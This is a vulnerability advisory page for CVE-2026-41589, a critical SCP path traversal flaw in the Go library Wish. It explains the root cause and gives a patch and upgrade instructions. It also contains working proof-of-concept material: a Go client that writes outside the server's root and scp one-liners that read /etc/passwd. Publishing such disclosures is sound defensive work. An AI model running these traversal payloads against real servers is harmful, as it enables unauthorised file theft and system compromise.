Loading...
Skip to main content

CVE-2026-41589 — Vulnerability in charm.land/wish/v2 — CVE Details

CRITICAL

Wish has SCP Path Traversal that allows arbitrary file read/write

Published April 18, 2026Updated July 7, 2026Source: osv

Summary

## Summary The SCP middleware in `charm.land/wish/v2` is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing `../` sequences over the SCP protocol. ## Affected Versions - `charm.land/wish/v2` — all versions through commit `72d67e6` (current `main`) - `github.com/charmbracelet/wish` — likely all v1 versions (same code pattern) ## Details ### Root Cause The `fileSystemHandler.prefixed()` method in `scp/filesystem.go:42-48` is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root: ```go func (h *fileSystemHandler) prefixed(path string) string { path = filepath.Clean(path) if strings.HasPrefix(path, h.root) { return path } return filepath.Join(h.root, path) } ``` When `path` contains `../` components, `filepath.Clean` resolves them but does not reject them. The subsequent `filepath.Join(h.root, path)` produces a path that escapes the root directory. ### Attack Vector 1: Arbitrary File Write (scp -t) When receiving files from a client (`scp -t`), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings: ```go reNewFile = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`) reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`) ``` The captured filename is used directly in `filepath.Join(path, name)` without sanitization (`scp/copy_from_client.go:90,140`), then passed to `fileSystemHandler.Write()` and `fileSystemHandler.Mkdir()`, which call `prefixed()` — allowing the attacker to write files and create directories anywhere on the filesystem. ### Attack Vector 2: Arbitrary File Read (scp -f) When sending files to a client (`scp -f`), the requested path comes from the SSH command arguments (`scp/scp.go:284`). This path is passed to `handler.Glob()`, `handler.NewFileEntry()`, and `handler.NewDirEntry()`, all of which call `prefixed()` — allowing the attacker to read any file accessible to the server process. ### Attack Vector 3: File Enumeration via Glob The `Glob` method passes user input containing glob metacharacters (`*`, `?`, `[`) to `filepath.Glob` after `prefixed()`, enabling enumeration of files outside the root. ## Proof of Concept All three vectors were validated with end-to-end integration tests against a real SSH server using the public `wish` and `scp` APIs. ### Vulnerable Server Any server using `scp.NewFileSystemHandler` with `scp.Middleware` is affected. This is the pattern shown in the official `examples/scp` example: ```go package main import ( "net" "charm.land/wish/v2" "charm.land/wish/v2/scp" "github.com/charmbracelet/ssh" ) func main() { handler := scp.NewFileSystemHandler("/srv/data") s, _ := wish.NewServer( wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")), wish.WithMiddleware(scp.Middleware(handler, handler)), // Default: accepts all connections (no auth configured) ) s.ListenAndServe() } ``` ### Write Traversal — Write arbitrary files outside /srv/data An attacker crafts SCP protocol messages with `../` in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to `/tmp/pwned`: ```go package main import ( "fmt" "os" gossh "golang.org/x/crypto/ssh" ) func main() { config := &gossh.ClientConfig{ User: "attacker", Auth: []gossh.AuthMethod{gossh.Password("anything")}, HostKeyCallback: gossh.InsecureIgnoreHostKey(), } client, _ := gossh.Dial("tcp", "target:2222", config) session, _ := client.NewSession() // Pipe crafted SCP protocol data into stdin stdin, _ := session.StdinPipe() go func() { // Wait for server's NULL ack, then send traversal payload buf := make([]byte, 1) session.Stdout.(interface{ Read([]byte) (int, error) }) // read ack // File header with traversal: writes to /tmp/pwned (escaping /srv/data) fmt.Fprintf(stdin, "C0644 12 ../../../tmp/pwned\n") // Wait for ack stdin.Write([]byte("hello world\n")) stdin.Write([]byte{0}) // NULL terminator stdin.Close() }() // Tell the server we're uploading to "." session.Run("scp -t .") } ``` Or equivalently using standard `scp` with a symlink trick, or by patching the openssh `scp` client to send a crafted filename. ### Read Traversal — Read arbitrary files outside /srv/data No custom tooling needed. Standard `scp` passes the path directly: ```bash # Read /etc/passwd from a server whose SCP root is /srv/data scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd ``` The server resolves `../../../etc/passwd` through `prefixed()`: 1. `filepath.Clean("../../../etc/passwd")` → `"../../../etc/passwd"` 2. Not prefixed with `/srv/data`, so: `filepath.Join("/srv/data", "../../../etc/passwd")` → `"/etc/passwd"` 3. File contents of `/etc/passwd` are sent to the attacker. ### Glob Traversal — Enumerate and read files outside /srv/data ```bash scp -P 2222 attacker@target:'../../../etc/pass*' ./ ``` ### Validated Test Output These were confirmed with integration tests using `wish.NewServer`, `scp.Middleware`, and `scp.NewFileSystemHandler` against temp directories. The tests created a root directory and a sibling "secret" directory, then verified files were read/written across the boundary: ``` === RUN TestPathTraversalWrite PATH TRAVERSAL CONFIRMED: file written to ".../secret/pwned" (outside root ".../scproot") --- FAIL: TestPathTraversalWrite === RUN TestPathTraversalWriteRecursiveDir PATH TRAVERSAL CONFIRMED: directory created at ".../evil_dir" (outside root ".../scproot") PATH TRAVERSAL CONFIRMED: file written to ".../evil_dir/payload" (outside root ".../scproot") --- FAIL: TestPathTraversalWriteRecursiveDir === RUN TestPathTraversalRead PATH TRAVERSAL CONFIRMED: read file outside root, got content: "...super-secret-password..." --- FAIL: TestPathTraversalRead === RUN TestPathTraversalGlob PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: "...super-secret-password..." --- FAIL: TestPathTraversalGlob ``` Tests used the real SSH handshake via `golang.org/x/crypto/ssh`, real SCP protocol parsing, and real filesystem operations — confirming the vulnerability is exploitable end-to-end. ## Impact An authenticated SSH user can: - **Write arbitrary files** anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH `authorized_keys`, shell profiles, or systemd units. - **Read arbitrary files** accessible to the server process, including `/etc/shadow`, private keys, database credentials, and application secrets. - **Create arbitrary directories** on the filesystem. - **Enumerate files** outside the root via glob patterns. If the server uses the default authentication configuration (which accepts all connections — see `wish.go:19`), these attacks are exploitable by unauthenticated remote attackers. ## Remediation ### Fix `prefixed()` to enforce root containment ```go func (h *fileSystemHandler) prefixed(path string) (string, error) { // Force path to be relative by prepending / joined := filepath.Join(h.root, filepath.Clean("/"+path)) // Verify the result is still within root if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) && joined != h.root { return "", fmt.Errorf("path traversal detected: %q resolves outside root", path) } return joined, nil } ``` ### Sanitize filenames in `copy_from_client.go` SCP filenames should never contain path separators or `..` components: ```go name := match[3] // or matches[0][2] for directories if strings.ContainsAny(name, "/\\") || name == ".." || name == "." { return fmt.Errorf("invalid filename: %q", name) } ``` ### Validate `info.Path` in `GetInfo` or at the middleware entry point ```go info.Path = filepath.Clean("/" + info.Path) ``` ## Credit Evan MORVAN (evnsh) — me@evan.sh (Research) Claude Haiku (formatting the report)

Advisory Timeline

  • First published April 18, 2026 (177 days ago).
  • Last revised July 7, 2026 — 81 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update charm.land/wish/v2 to 2.0.1 or later
go get charm.land/wish/v2@v2.0.1

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: go (2).

PackageEcosystemAffectedFixed In
charm.land/wish/v2
go
All versions2.0.1
github.com/charmbracelet/wish
go
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.6 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Frequently Asked Questions

What is CVE-2026-41589?
Wish has SCP Path Traversal that allows arbitrary file read/write This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.6/10).
How do I check if my project is affected by CVE-2026-41589?
CVE-2026-41589 affects charm.land/wish/v2 and github.com/charmbracelet/wish. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-41589 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.6

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-xjvp-7243-rg9h
GO-2026-5762

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies